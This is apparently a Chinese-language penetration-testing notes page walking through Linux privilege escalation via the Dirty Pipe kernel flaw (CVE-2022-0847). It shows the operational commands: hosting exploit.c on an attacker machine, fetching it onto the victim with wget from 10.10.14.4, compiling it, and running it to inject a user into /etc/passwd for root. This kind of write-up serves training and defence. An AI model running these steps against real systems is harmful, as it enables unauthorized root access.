> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/dirty-pipe-linux-privilege-escalation.md).

# Dirty Pipe

## 这是什么

本页记录了一种 Linux 权限提升技术，包含实际验证步骤和利用示例。本页重点关注 **Dirty Pipe** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
id
uname -a
```

## 示例

{% hint style="info" %}
**Dirty Pipe** （CVE-2022-0847）是一个 Linux 内核漏洞，允许本地非特权用户在运行时修改系统文件，包括受保护的文件，例如 **/etc/passwd**。该漏洞利用了内核管道处理中的一个缺陷，允许进程在另一个进程正在使用文件时修改该文件，包括只读文件或由特权用户写入的文件。
{% endhint %}

## Dirty Pipe 利用

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

检查机器是否容易受到 Dirty Pipe 影响，这个漏洞可以在运行时修改系统文件。我们发现 **gcc**，一个 C 编译器，位于 `/usr/bin/gcc`.

```bash
which gcc
/usr/bin/gcc
```

使用 **Python3** 将漏洞利用代码从本地机器传输到目标机器。先在本地启动一个 HTTP 服务器来托管它：

```bash
python3 -m http.server
```

在受害机上，我们下载了利用代码：

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="/files/b32859d5864d301ba284d4d971fb9b7392d1fa60" alt=""><figcaption></figcaption></figure>

一旦恢复了利用代码，我们就使用以下命令编译了这个 C 文件： **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
该利用代码通过注入密码哈希来修改 `/etc/passwd` 文件，并添加一个 `aaron` 用户及其特定密码，所有这些都是为了实现权限提升。
{% endhint %}

<figure><img src="/files/462e2536d42815135dfdfb7734335773c43f1a4c" alt=""><figcaption></figcaption></figure>

最后，直接运行脚本：

```bash
./exploit
```

这将带来 **`root`** 对该机器的访问权限。

<figure><img src="/files/6087b0046976442132fb208f28a76aed38ab431e" alt=""><figcaption></figcaption></figure>


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